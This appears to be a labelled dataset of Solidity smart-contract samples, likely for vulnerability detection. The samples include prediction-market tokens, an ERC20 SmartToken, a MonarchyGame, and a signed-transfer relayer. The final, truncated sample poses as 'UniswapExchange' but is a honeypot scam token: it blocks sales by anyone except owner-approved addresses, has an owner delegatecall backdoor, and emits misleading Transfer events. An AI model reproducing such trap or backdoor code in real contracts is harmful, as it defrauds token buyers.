function TimedEvidenceToken(uint256 _maxSupply, uint256 _buyPrice, uint8 _vig,
uint256 _thresholdAmount, uint256 _priceIncrease, uint _evidenceInterval,
uint8 _requiredEvidence, uint _dateSisterWins,
uint _buyingHorizon, uint _maximumLifetime)
PriceIncreasingToken(_maxSupply, _buyPrice, 0,_vig,
_thresholdAmount, _priceIncrease, _buyingHorizon, _maximumLifetime){
evidenceInterval = _evidenceInterval;
lastEvidenceCheck = 0;
foundEvidence = 0;
lastBuyPrice = 0;
dateSisterWins = _dateSisterWins;
requiredEvidence = _requiredEvidence;
}
function checkForPayout() public returns(bool){
LittleSisterToken sisterContract = LittleSisterToken(sister);
if (sellPrice_ > 0) return true;
if (now > dateSisterWins){
require(sisterContract.send(this.balance));
lost = true;
buyPrice_ = 0;
sellPrice_ = sisterContract.balance / sisterContract.totalSupply();
return true;
}
if (foundEvidence >= requiredEvidence){
require(sisterContract.sendFunds());
buyPrice_ = 0;
sellPrice_ = this.balance / totalSupply();
return true;
}
return false;
}
function _accumulateEvidence(bool evidence) internal{
require(now > lastEvidenceCheck + evidenceInterval);
lastEvidenceCheck = now;
if (evidence){
if (buyPrice_ > 0){
lastBuyPrice = buyPrice_;
buyPrice_ = 0;
}
foundEvidence += 1;
} else {
if ((lastBuyPrice > 0) && (foundEvidence == 0)){
buyPrice_ = lastBuyPrice;
lastBuyPrice = 0;
}
if (foundEvidence > 0) foundEvidence -= 1;
}
}
}
contract TrumpFullTermToken is PriceIncreasingLittleSisterToken{
string public constant symbol = "TFT";
string public constant name = "Trump Full Term Token";
}
contract TrumpOracle is usingOraclize{
mapping(bytes32=>bool) validIds;
event newOraclizeQuery(string description);
event newOraclizeResult(bytes32 id, string result);
string public constant question = "President of the United States";
uint public oraclizePrice;
function __callback(bytes32 _queryId, string result) public {
require(msg.sender == oraclize_cbAddress());
require(validIds[_queryId]);
delete validIds[_queryId];
newOraclizeResult(_queryId, result);
}
function requestEvidence() public payable {
if (getOraclizePrice() > msg.value) {
newOraclizeQuery("Oraclize query was NOT sent, please add some ETH to cover for the query fee");
revert();
} else {
newOraclizeQuery("Oraclize query was sent, standing by for the answer...");
bytes32 queryId = oraclize_query("WolframAlpha", question);
validIds[queryId] = true;
}
}
function getOraclizePrice() public returns (uint) {
oraclizePrice = oraclize_getPrice("WolframAlpha");
return oraclizePrice;
}
}
contract TrumpImpeachmentToken is TrumpOracle, TimedEvidenceToken, StringOps{
string public constant symbol = "TIT";
string public constant name = "Trump Impeachment Token";
string public lastEvidence;
string public constant answer = "Trump";
function TrumpImpeachmentToken()
TimedEvidenceToken(2000000 * unit,
69 finney / unit,
40,
6600 * unit,
100 szabo / unit,
2 days,
3,
1611014400,
222 days,
7 years
){
lastEvidence = "N/A";
oraclize_setCustomGasPrice(30000000000);
}
function __callback(bytes32 _queryId, string result) public{
bool evidence;
super.__callback(_queryId, result);
require(bytes(result).length > 0);
lastEvidence = result;
evidence = !stringEndsWith(result, answer);
_accumulateEvidence(evidence);
}
function requestEvidence() payable{
require(now > lastEvidenceCheck + evidenceInterval);
super.requestEvidence();
}
function setOraclizeGasPrice(uint gasPrice){
require(msg.sender == owner);
require(gasPrice >= 30000000000);
require(gasPrice <= 300000000000);
oraclize_setCustomGasPrice(gasPrice);
}
} | 0 | 959 |
pragma solidity ^0.4.11;
contract Utils {
function Utils() {
}
modifier greaterThanZero(uint256 _amount) {
require(_amount > 0);
_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier notThis(address _address) {
require(_address != address(this));
_;
}
function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract IOwned {
function owner() public constant returns (address) {}
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address _prevOwner, address _newOwner);
function Owned() {
owner = msg.sender;
}
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract IERC20Token {
function name() public constant returns (string) {}
function symbol() public constant returns (string) {}
function decimals() public constant returns (uint8) {}
function totalSupply() public constant returns (uint256) {}
function balanceOf(address _owner) public constant returns (uint256) { _owner; }
function allowance(address _owner, address _spender) public constant returns (uint256) { _owner; _spender; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract ISmartToken is IOwned, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
contract ERC20Token is IERC20Token, Utils {
string public standard = 'Token 0.1';
string public name = '';
string public symbol = '';
uint8 public decimals = 0;
uint256 public totalSupply = 0;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function ERC20Token(string _name, string _symbol, uint8 _decimals) {
require(bytes(_name).length > 0 && bytes(_symbol).length > 0);
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function transfer(address _to, uint256 _value)
public
validAddress(_to)
returns (bool success)
{
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
validAddress(_from)
validAddress(_to)
returns (bool success)
{
allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
validAddress(_spender)
returns (bool success)
{
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public;
}
contract TokenHolder is ITokenHolder, Owned, Utils {
function TokenHolder() {
}
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
}
}
contract SmartToken is ISmartToken, Owned, ERC20Token, TokenHolder {
string public version = '0.3';
bool public transfersEnabled = true;
event NewSmartToken(address _token);
event Issuance(uint256 _amount);
event Destruction(uint256 _amount);
function SmartToken(string _name, string _symbol, uint8 _decimals)
ERC20Token(_name, _symbol, _decimals)
{
NewSmartToken(address(this));
}
modifier transfersAllowed {
assert(transfersEnabled);
_;
}
function disableTransfers(bool _disable) public ownerOnly {
transfersEnabled = !_disable;
}
function issue(address _to, uint256 _amount)
public
ownerOnly
validAddress(_to)
notThis(_to)
{
totalSupply = safeAdd(totalSupply, _amount);
balanceOf[_to] = safeAdd(balanceOf[_to], _amount);
Issuance(_amount);
Transfer(this, _to, _amount);
}
function destroy(address _from, uint256 _amount) public {
require(msg.sender == _from || msg.sender == owner);
balanceOf[_from] = safeSub(balanceOf[_from], _amount);
totalSupply = safeSub(totalSupply, _amount);
Transfer(_from, this, _amount);
Destruction(_amount);
}
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) {
assert(super.transfer(_to, _value));
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) {
assert(super.transferFrom(_from, _to, _value));
return true;
}
} | 1 | 4,893 |
pragma solidity ^0.4.23;
contract MonarchyGame {
struct Vars {
address monarch;
uint64 prizeGwei;
uint32 numOverthrows;
uint32 blockEnded;
uint32 prevBlock;
bool isPaid;
bytes23 decree;
}
struct Settings {
address collector;
uint64 initialPrizeGwei;
uint64 feeGwei;
int64 prizeIncrGwei;
uint32 reignBlocks;
}
Vars vars;
Settings settings;
uint constant version = 1;
event SendPrizeError(uint time, string msg);
event Started(uint time, uint initialBlocks);
event OverthrowOccurred(uint time, address indexed newMonarch, bytes23 decree, address indexed prevMonarch, uint fee);
event OverthrowRefundSuccess(uint time, string msg, address indexed recipient, uint amount);
event OverthrowRefundFailure(uint time, string msg, address indexed recipient, uint amount);
event SendPrizeSuccess(uint time, address indexed redeemer, address indexed recipient, uint amount, uint gasLimit);
event SendPrizeFailure(uint time, address indexed redeemer, address indexed recipient, uint amount, uint gasLimit);
event FeesSent(uint time, address indexed collector, uint amount);
constructor(
address _collector,
uint _initialPrize,
uint _fee,
int _prizeIncr,
uint _reignBlocks,
uint _initialBlocks
)
public
payable
{
require(_initialPrize >= 1e9);
require(_initialPrize < 1e6 * 1e18);
require(_initialPrize % 1e9 == 0);
require(_fee >= 1e6);
require(_fee < 1e6 * 1e18);
require(_fee % 1e9 == 0);
require(_prizeIncr <= int(_fee));
require(_prizeIncr >= -1*int(_initialPrize));
require(_prizeIncr % 1e9 == 0);
require(_reignBlocks >= 1);
require(_initialBlocks >= 1);
require(msg.value == _initialPrize);
settings.collector = _collector;
settings.initialPrizeGwei = uint64(_initialPrize / 1e9);
settings.feeGwei = uint64(_fee / 1e9);
settings.prizeIncrGwei = int64(_prizeIncr / 1e9);
settings.reignBlocks = uint32(_reignBlocks);
vars.prizeGwei = settings.initialPrizeGwei;
vars.monarch = _collector;
vars.prevBlock = uint32(block.number);
vars.blockEnded = uint32(block.number + _initialBlocks);
emit Started(now, _initialBlocks);
}
function()
public
payable
{
overthrow(0);
}
function overthrow(bytes23 _decree)
public
payable
{
if (isEnded())
return errorAndRefund("Game has already ended.");
if (msg.sender == vars.monarch)
return errorAndRefund("You are already the Monarch.");
if (msg.value != fee())
return errorAndRefund("Value sent must match fee.");
int _newPrizeGwei = int(vars.prizeGwei) + settings.prizeIncrGwei;
uint32 _newBlockEnded = uint32(block.number) + settings.reignBlocks;
uint32 _newNumOverthrows = vars.numOverthrows + 1;
address _prevMonarch = vars.monarch;
bool _isClean = (block.number != vars.prevBlock);
if (_newPrizeGwei < 0)
return errorAndRefund("Overthrowing would result in a negative prize.");
bool _wasRefundSuccess;
if (!_isClean) {
_wasRefundSuccess = _prevMonarch.send(msg.value);
}
if (_isClean) {
vars.monarch = msg.sender;
vars.numOverthrows = _newNumOverthrows;
vars.prizeGwei = uint64(_newPrizeGwei);
vars.blockEnded = _newBlockEnded;
vars.prevBlock = uint32(block.number);
vars.decree = _decree;
}
if (!_isClean && _wasRefundSuccess){
vars.monarch = msg.sender;
vars.decree = _decree;
}
if (!_isClean && !_wasRefundSuccess){
vars.monarch = msg.sender;
vars.prizeGwei = uint64(_newPrizeGwei);
vars.numOverthrows = _newNumOverthrows;
vars.decree = _decree;
}
if (!_isClean){
if (_wasRefundSuccess)
emit OverthrowRefundSuccess(now, "Another overthrow occurred on the same block.", _prevMonarch, msg.value);
else
emit OverthrowRefundFailure(now, ".send() failed.", _prevMonarch, msg.value);
}
emit OverthrowOccurred(now, msg.sender, _decree, _prevMonarch, msg.value);
}
function errorAndRefund(string _msg)
private
{
require(msg.sender.call.value(msg.value)());
emit OverthrowRefundSuccess(now, _msg, msg.sender, msg.value);
}
function sendPrize(uint _gasLimit)
public
returns (bool _success, uint _prizeSent)
{
if (!isEnded()) {
emit SendPrizeError(now, "The game has not ended.");
return (false, 0);
}
if (vars.isPaid) {
emit SendPrizeError(now, "The prize has already been paid.");
return (false, 0);
}
address _winner = vars.monarch;
uint _prize = prize();
bool _paySuccessful = false;
vars.isPaid = true;
if (_gasLimit == 0) {
_paySuccessful = _winner.call.value(_prize)();
} else {
_paySuccessful = _winner.call.value(_prize).gas(_gasLimit)();
}
if (_paySuccessful) {
emit SendPrizeSuccess({
time: now,
redeemer: msg.sender,
recipient: _winner,
amount: _prize,
gasLimit: _gasLimit
});
return (true, _prize);
} else {
vars.isPaid = false;
emit SendPrizeFailure({
time: now,
redeemer: msg.sender,
recipient: _winner,
amount: _prize,
gasLimit: _gasLimit
});
return (false, 0);
}
}
function sendFees()
public
returns (uint _feesSent)
{
_feesSent = fees();
if (_feesSent == 0) return;
require(settings.collector.call.value(_feesSent)());
emit FeesSent(now, settings.collector, _feesSent);
}
function monarch() public view returns (address) {
return vars.monarch;
}
function prize() public view returns (uint) {
return uint(vars.prizeGwei) * 1e9;
}
function numOverthrows() public view returns (uint) {
return vars.numOverthrows;
}
function blockEnded() public view returns (uint) {
return vars.blockEnded;
}
function prevBlock() public view returns (uint) {
return vars.prevBlock;
}
function isPaid() public view returns (bool) {
return vars.isPaid;
}
function decree() public view returns (bytes23) {
return vars.decree;
}
function collector() public view returns (address) {
return settings.collector;
}
function initialPrize() public view returns (uint){
return uint(settings.initialPrizeGwei) * 1e9;
}
function fee() public view returns (uint) {
return uint(settings.feeGwei) * 1e9;
}
function prizeIncr() public view returns (int) {
return int(settings.prizeIncrGwei) * 1e9;
}
function reignBlocks() public view returns (uint) {
return settings.reignBlocks;
}
function isEnded() public view returns (bool) {
return block.number > vars.blockEnded;
}
function getBlocksRemaining() public view returns (uint) {
if (isEnded()) return 0;
return (vars.blockEnded - block.number) + 1;
}
function fees() public view returns (uint) {
uint _balance = address(this).balance;
return vars.isPaid ? _balance : _balance - prize();
}
function totalFees() public view returns (uint) {
int _feePerOverthrowGwei = int(settings.feeGwei) - settings.prizeIncrGwei;
return uint(_feePerOverthrowGwei * vars.numOverthrows * 1e9);
}
} | 0 | 225 |
pragma solidity ^0.4.25;
pragma experimental ABIEncoderV2;
contract LibSignatureValidation {
using LibBytes for bytes;
function isValidSignature(bytes32 hash, address signerAddress, bytes memory signature) internal pure returns (bool) {
require(signature.length == 65, "LENGTH_65_REQUIRED");
uint8 v = uint8(signature[64]);
bytes32 r = signature.readBytes32(0);
bytes32 s = signature.readBytes32(32);
address recovered = ecrecover(hash, v, r, s);
return signerAddress == recovered;
}
}
contract LibTransferRequest {
string constant internal EIP191_HEADER = "\x19\x01";
string constant internal EIP712_DOMAIN_NAME = "Dola Core";
string constant internal EIP712_DOMAIN_VERSION = "1";
bytes32 public constant EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH = keccak256(abi.encodePacked(
"EIP712Domain(",
"string name,",
"string version,",
"address verifyingContract",
")"
));
bytes32 public EIP712_DOMAIN_HASH;
bytes32 constant internal EIP712_TRANSFER_REQUEST_TYPE_HASH = keccak256(abi.encodePacked(
"TransferRequest(",
"address senderAddress,",
"address receiverAddress,",
"uint256 value,",
"address relayerAddress,",
"uint256 relayerFee,",
"uint256 salt,",
")"
));
struct TransferRequest {
address senderAddress;
address receiverAddress;
uint256 value;
address relayerAddress;
uint256 relayerFee;
uint256 salt;
}
constructor() public {
EIP712_DOMAIN_HASH = keccak256(abi.encode(
EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH,
keccak256(bytes(EIP712_DOMAIN_NAME)),
keccak256(bytes(EIP712_DOMAIN_VERSION)),
address(this)
));
}
function hashTransferRequest(TransferRequest memory request) internal view returns (bytes32) {
bytes32 typeHash = EIP712_TRANSFER_REQUEST_TYPE_HASH;
bytes32 hashStruct;
assembly {
let temp1 := mload(sub(request, 32))
mstore(sub(request, 32), typeHash)
hashStruct := keccak256(sub(request, 32), 224)
mstore(sub(request, 32), temp1)
}
return keccak256(abi.encodePacked(EIP191_HEADER, EIP712_DOMAIN_HASH, hashStruct));
}
}
contract DolaCore is LibTransferRequest, LibSignatureValidation {
using LibBytes for bytes;
address public TOKEN_ADDRESS;
mapping (address => mapping (address => uint256)) public requestEpoch;
event TransferRequestFilled(address indexed from, address indexed to);
constructor (address _tokenAddress) public LibTransferRequest() {
TOKEN_ADDRESS = _tokenAddress;
}
function executeTransfer(TransferRequest memory request, bytes memory signature) public {
require(requestEpoch[request.senderAddress][request.relayerAddress] <= request.salt, "REQUEST_INVALID");
require(request.relayerAddress == msg.sender, "REQUEST_INVALID");
bytes32 requestHash = hashTransferRequest(request);
require(isValidSignature(requestHash, request.senderAddress, signature), "INVALID_REQUEST_SIGNATURE");
address tokenAddress = TOKEN_ADDRESS;
assembly {
mstore(32, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
calldatacopy(36, 4, 96)
let success := call(
gas,
tokenAddress,
0,
32,
100,
0,
32
)
success := and(success, or(
iszero(returndatasize),
and(
eq(returndatasize, 32),
gt(mload(0), 0)
)
))
if iszero(success) {
mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(32, 0x0000002000000000000000000000000000000000000000000000000000000000)
mstore(64, 0x0000000f5452414e534645525f4641494c454400000000000000000000000000)
mstore(96, 0)
revert(0, 100)
}
calldatacopy(68, 100, 64)
success := call(
gas,
tokenAddress,
0,
32,
100,
0,
32
)
success := and(success, or(
iszero(returndatasize),
and(
eq(returndatasize, 32),
gt(mload(0), 0)
)
))
if iszero(success) {
mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(32, 0x0000002000000000000000000000000000000000000000000000000000000000)
mstore(64, 0x0000000f5452414e534645525f4641494c454400000000000000000000000000)
mstore(96, 0)
revert(0, 100)
}
}
requestEpoch[request.senderAddress][request.relayerAddress] = request.salt + 1;
}
}
library LibBytes {
using LibBytes for bytes;
function rawAddress(bytes memory input)
internal
pure
returns (uint256 memoryAddress)
{
assembly {
memoryAddress := input
}
return memoryAddress;
}
function contentAddress(bytes memory input)
internal
pure
returns (uint256 memoryAddress)
{
assembly {
memoryAddress := add(input, 32)
}
return memoryAddress;
}
function memCopy(
uint256 dest,
uint256 source,
uint256 length
)
internal
pure
{
if (length < 32) {
assembly {
let mask := sub(exp(256, sub(32, length)), 1)
let s := and(mload(source), not(mask))
let d := and(mload(dest), mask)
mstore(dest, or(s, d))
}
} else {
if (source == dest) {
return;
}
if (source > dest) {
assembly {
length := sub(length, 32)
let sEnd := add(source, length)
let dEnd := add(dest, length)
let last := mload(sEnd)
for {} lt(source, sEnd) {} {
mstore(dest, mload(source))
source := add(source, 32)
dest := add(dest, 32)
}
mstore(dEnd, last)
}
} else {
assembly {
length := sub(length, 32)
let sEnd := add(source, length)
let dEnd := add(dest, length)
let first := mload(source)
for {} slt(dest, dEnd) {} {
mstore(dEnd, mload(sEnd))
sEnd := sub(sEnd, 32)
dEnd := sub(dEnd, 32)
}
mstore(dest, first)
}
}
}
}
function slice(
bytes memory b,
uint256 from,
uint256 to
)
internal
pure
returns (bytes memory result)
{
require(
from <= to,
"FROM_LESS_THAN_TO_REQUIRED"
);
require(
to < b.length,
"TO_LESS_THAN_LENGTH_REQUIRED"
);
result = new bytes(to - from);
memCopy(
result.contentAddress(),
b.contentAddress() + from,
result.length);
return result;
}
function sliceDestructive(
bytes memory b,
uint256 from,
uint256 to
)
internal
pure
returns (bytes memory result)
{
require(
from <= to,
"FROM_LESS_THAN_TO_REQUIRED"
);
require(
to < b.length,
"TO_LESS_THAN_LENGTH_REQUIRED"
);
assembly {
result := add(b, from)
mstore(result, sub(to, from))
}
return result;
}
function popLastByte(bytes memory b)
internal
pure
returns (bytes1 result)
{
require(
b.length > 0,
"GREATER_THAN_ZERO_LENGTH_REQUIRED"
);
result = b[b.length - 1];
assembly {
let newLen := sub(mload(b), 1)
mstore(b, newLen)
}
return result;
}
function popLast20Bytes(bytes memory b)
internal
pure
returns (address result)
{
require(
b.length >= 20,
"GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED"
);
result = readAddress(b, b.length - 20);
assembly {
let newLen := sub(mload(b), 20)
mstore(b, newLen)
}
return result;
}
function equals(
bytes memory lhs,
bytes memory rhs
)
internal
pure
returns (bool equal)
{
return lhs.length == rhs.length && keccak256(lhs) == keccak256(rhs);
}
function readAddress(
bytes memory b,
uint256 index
)
internal
pure
returns (address result)
{
require(
b.length >= index + 20,
"GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED"
);
index += 20;
assembly {
result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
return result;
}
function writeAddress(
bytes memory b,
uint256 index,
address input
)
internal
pure
{
require(
b.length >= index + 20,
"GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED"
);
index += 20;
assembly {
let neighbors := and(
mload(add(b, index)),
0xffffffffffffffffffffffff0000000000000000000000000000000000000000
)
input := and(input, 0xffffffffffffffffffffffffffffffffffffffff)
mstore(add(b, index), xor(input, neighbors))
}
}
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
require(
b.length >= index + 32,
"GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED"
);
index += 32;
assembly {
result := mload(add(b, index))
}
return result;
}
function writeBytes32(
bytes memory b,
uint256 index,
bytes32 input
)
internal
pure
{
require(
b.length >= index + 32,
"GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED"
);
index += 32;
assembly {
mstore(add(b, index), input)
}
}
function readUint256(
bytes memory b,
uint256 index
)
internal
pure
returns (uint256 result)
{
return uint256(readBytes32(b, index));
}
function writeUint256(
bytes memory b,
uint256 index,
uint256 input
)
internal
pure
{
writeBytes32(b, index, bytes32(input));
}
function readBytes4(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes4 result)
{
require(
b.length >= index + 4,
"GREATER_OR_EQUAL_TO_4_LENGTH_REQUIRED"
);
assembly {
result := mload(add(b, 32))
result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000)
}
return result;
}
function readBytesWithLength(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes memory result)
{
uint256 nestedBytesLength = readUint256(b, index);
index += 32;
require(
b.length >= index + nestedBytesLength,
"GREATER_OR_EQUAL_TO_NESTED_BYTES_LENGTH_REQUIRED"
);
assembly {
result := add(b, index)
}
return result;
}
function writeBytesWithLength(
bytes memory b,
uint256 index,
bytes memory input
)
internal
pure
{
require(
b.length >= index + 32 + input.length,
"GREATER_OR_EQUAL_TO_NESTED_BYTES_LENGTH_REQUIRED"
);
memCopy(
b.contentAddress() + index,
input.rawAddress(),
input.length + 32
);
}
function deepCopyBytes(
bytes memory dest,
bytes memory source
)
internal
pure
{
uint256 sourceLen = source.length;
require(
dest.length >= sourceLen,
"GREATER_OR_EQUAL_TO_SOURCE_BYTES_LENGTH_REQUIRED"
);
memCopy(
dest.contentAddress(),
source.contentAddress(),
sourceLen
);
}
} | 1 | 3,354 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
